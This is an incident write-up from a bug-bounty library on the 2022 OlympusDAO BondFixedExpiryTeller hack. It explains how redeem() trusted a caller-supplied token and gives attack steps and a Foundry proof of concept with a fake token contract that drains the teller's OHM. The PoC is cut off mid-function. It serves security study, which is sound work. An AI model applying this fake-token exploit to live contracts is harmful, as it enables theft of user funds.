# OlympusDAO BondFixedExpiryTeller: fake token redeem drains OHM

OlympusDAO BondFixedExpiryTeller.redeem lacked input validation on the token argument, letting an attacker pass a fake token and drain ~30,437 OHM (~$292K).

- Payout: Real-world hack
- Severity: high
- Program: OlympusDAO
- Analysis by: DeFiHackLabs
- Disclosed: 2022-10-21
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-10/OlympusDao_exp.sol
- Library page: https://bugbountylibrary.com/r/dhl%3A20221021-olympusdao
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:high tech:evm tech:solidity technique:source-review vuln:access-control vuln:business-logic

**Target:** BondFixedExpiryTeller.redeem on Ethereum mainnet
**Root cause:** redeem() trusted caller-supplied token_ and read underlying()/expiry() from it without validating it was a legitimate bond token, then paid out OHM based on the fake token's claimed underlying.
**Steps:**
1. Deploy FakeToken implementing underlying() returning OHM, expiry() returning 1, and a no-op burn(address,uint256).
2. Read OHM balance held by BondFixedExpiryTeller (0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156).
3. Call `redeem(fakeToken, ohmBalance)` on BondFixedExpiryTeller.
4. Teller reads underlying()==OHM from fake token and transfers the OHM balance to the attacker.
**Exploitation:** Attacker deployed a fake token contract whose underlying() returned the real OHM address and whose burn() was a no-op, then called redeem() with the teller's full OHM balance as amount, receiving ~30,437 OHM (~$292K) with no real bond tokens burned.
**Insight:** When a contract accepts a caller-supplied token address and reads metadata (underlying/expiry) from it, check whether it verifies that address against a registry of legitimately deployed bond tokens; a fake token returning the payout asset as underlying can mint free claims.

## Proof of concept (copied exactly from the original report)

**Fake token redeem drains OHM PoC**

```
contract FakeToken {
    function underlying() external pure returns (address) {
        return OHM;
    }

    function expiry() external pure returns (uint48 _expiry) {
        return 1;
    }

    function burn(address, uint256) external pure {
        // do nothing
    }
}

contract AttackContract is Test {
    function setUp() public {
        vm.createSelectFork("mainnet", 15_794_363);
        vm.label(OHM, "OHM");
        vm.label(BondFixedExpiryTeller, "BondFixedExpiryTeller");
    }

    function testExploit() public {
        console.log("---------- Start from block %s ----------", block.number);
        emit log_named_decimal_uint("Attacker OHM balance", IERC20(OHM).balanceOf(address(this)), 9);

        address fakeToken = address(new FakeToken());

        uint256 ohmBalance = IERC20(OHM).balanceOf(BondFixedExpiryTeller);
        IBondFixedExpiryTeller(BondFixedExpiryTeller).redeem(fakeToken, ohmBalance);
```

